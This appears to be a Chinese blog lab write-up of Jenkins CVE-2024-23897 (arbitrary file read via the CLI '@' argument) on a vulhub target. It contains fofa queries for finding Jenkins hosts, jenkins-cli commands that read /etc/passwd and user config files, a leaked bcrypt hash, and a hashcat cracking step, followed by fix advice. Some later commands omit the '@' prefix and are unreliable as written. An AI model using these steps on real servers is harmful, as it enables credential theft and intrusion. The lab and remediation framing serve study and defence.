做網(wǎng)站困難嗎/優(yōu)秀網(wǎng)站設(shè)計(jì)欣賞
content
- Jenkins是什么
- CVE-2024-23897
- 總結(jié)
- 修復(fù)建議
Jenkins是什么
Jenkins是一人基于Java開發(fā)的、可擴(kuò)展的持續(xù)集成引擎,用于持續(xù)、自動(dòng)地構(gòu)建/測(cè)試軟件項(xiàng)目,可以監(jiān)控一些定時(shí)執(zhí)行的任務(wù)。
官網(wǎng)文檔:
Jenkins是一款開源 CI&CD 軟件,用于自動(dòng)化各種任務(wù),包括構(gòu)建、測(cè)試和部署軟件。 Jenkins
支持各種運(yùn)行方式,可通過系統(tǒng)包、Docker 或者通過一個(gè)獨(dú)立的 Java 程序。
持續(xù)集成引擎:
持續(xù)集成引擎就像是軟件開發(fā)中的智能管家,能自動(dòng)收集開發(fā)人員編寫的代碼并整合到一起,然后像組裝機(jī)器一樣對(duì)代碼進(jìn)行檢查和組裝,使其成為可運(yùn)行的軟件,接著還會(huì)對(duì)軟件進(jìn)行各種測(cè)試,一旦發(fā)現(xiàn)問題就及時(shí)告知開發(fā)人員,通過不斷地重復(fù)這些操作,確保軟件能快速、高質(zhì)量地完成開發(fā),而 Jenkins 就是這樣一個(gè)基于 Java 開發(fā)的、能實(shí)現(xiàn)這些功能的持續(xù)集成引擎工具。
CVE-2024-23897
CVE - 2024 - 23897是Jenkins存在的一個(gè)任意文件讀取漏洞。Jenkins為用戶提供了命令行接口,用戶能夠借助jenkins - cli.jar調(diào)用該接口,進(jìn)而執(zhí)行Jenkins的部分功能。然而,當(dāng)使用jenkins - cli.jar執(zhí)行命令行操作時(shí),服務(wù)端會(huì)利用第三方庫args4j對(duì)命令行進(jìn)行解析。在解析過程中,若參數(shù)以@開頭,系統(tǒng)就會(huì)把它認(rèn)定為一個(gè)文件名,隨后讀取該文件的內(nèi)容并將其作為參數(shù)。這一機(jī)制存在風(fēng)險(xiǎn),一旦參數(shù)設(shè)置不當(dāng),就可能引發(fā)報(bào)錯(cuò),且報(bào)錯(cuò)信息會(huì)將文件內(nèi)容顯示出來,從而導(dǎo)致任意文件讀取的情況發(fā)生。
目前我的能力只能把漏洞打一遍,原理分析請(qǐng)看P神的原理分析文章
受影響版本:
Jenkins 版本<= 2.441
Jenkins 版本<= LTS 2.426.2
fofa:
app="jenkins"
or
header="X-Jenkins" || banner="X-Jenkins" || header="X-Hudson" || banner="X-Hudson" || header="X-Required-Permission: hudson.model.Hudson.Read" || banner="X-Required-Permission: hudson.model.Hudson.Read" || body="Jenkins-Agent-Protocols"
vulhub開啟靶場(chǎng)環(huán)境,訪問本機(jī)8080端口
訪問http://靶場(chǎng)IP:8080/jnlpJars/jenkins-cli.jar
觸發(fā)漏洞,但是這個(gè)命令只能讀取部分內(nèi)容
java -jar .\jenkins-cli.jar -s http://127.0.0.1:8080/ -http help 1 "@etc/passwd"
讀取/proc/self/environ
一些命令輸出行數(shù)較多,比如connect-node這個(gè)命令
java -jar .\jenkins-cli.jar -s http://127.0.0.1:8080/ connect-node "@etc/passwd"
如果開啟了Allow anonymous read access就可以讀取全部文件內(nèi)容,靶場(chǎng)應(yīng)該是默認(rèn)開啟了
Jenkins 安裝將有一個(gè)文件/var/jenkins_home/users/users.xml,其中列出了此處的所有有效用戶
java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node "/var/jenkins_home/users/users.xml"
這里讀出來admin
users.xml顯示系統(tǒng)上的單個(gè)用戶,admin,其信息文件夾為/var/jenkins_home/users/admin_5965741382068509608
在 Jenkins 上的每個(gè)用戶文件夾中,始終有一個(gè)包含用戶密碼哈希的config.xml文件。
所以現(xiàn)在讀取/var/jenkins_home/users/admin_5965741382068509608/config.xml
java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node "/var/jenkins_home/users/admin_5965741382068509608/config.xml"
讀取到:
<passwordHash>#jbcrypt:$2a$10$b3fbT8hnHMeZ4CfoVZLTQOgAYbbl8nlQfVGeMhEozzooQDABlEtOG</passwordHash>
下面用kali自帶字典和工具爆破密碼
首先把$2a$10$b3fbT8hnHMeZ4CfoVZLTQOgAYbbl8nlQfVGeMhEozzooQDABlEtOG
寫入txt文件,再把rockyou.txt復(fù)制到當(dāng)前路徑
hashcat -m 3200 info.txt rockyou.txt
開始爆破
但是尷尬了,報(bào)錯(cuò)* Device #1: Not enough allocatable device memory for this attack.我kali內(nèi)存不夠了,當(dāng)時(shí)只分配了2G。
這邊就直接說密碼了,vulhub環(huán)境這個(gè)Jenkins密碼是vulhub。用admin/vulhub登錄成功。
登進(jìn)后臺(tái)安全管理界面可以發(fā)現(xiàn)Allow anonymous read access恰好是開啟的。
總結(jié)
Jenkins提供了一個(gè)命令行的接口,jenkins-clijar是它的命令行客戶端,通過jenkins-clijar可以去執(zhí)行一些Jenkins中的功能。
利用條件:Jenkins 版本<= 2.441 和Jenkins 版本<= LTS 2.426.2+開啟了Allow anonymous read access(讀取完整文件)
流程:
因此根本原因是args4j這個(gè)庫解析參數(shù)不當(dāng)造成的
修復(fù)建議
Jenkins更新到最新版本
禁用Allow anonymous read access選項(xiàng)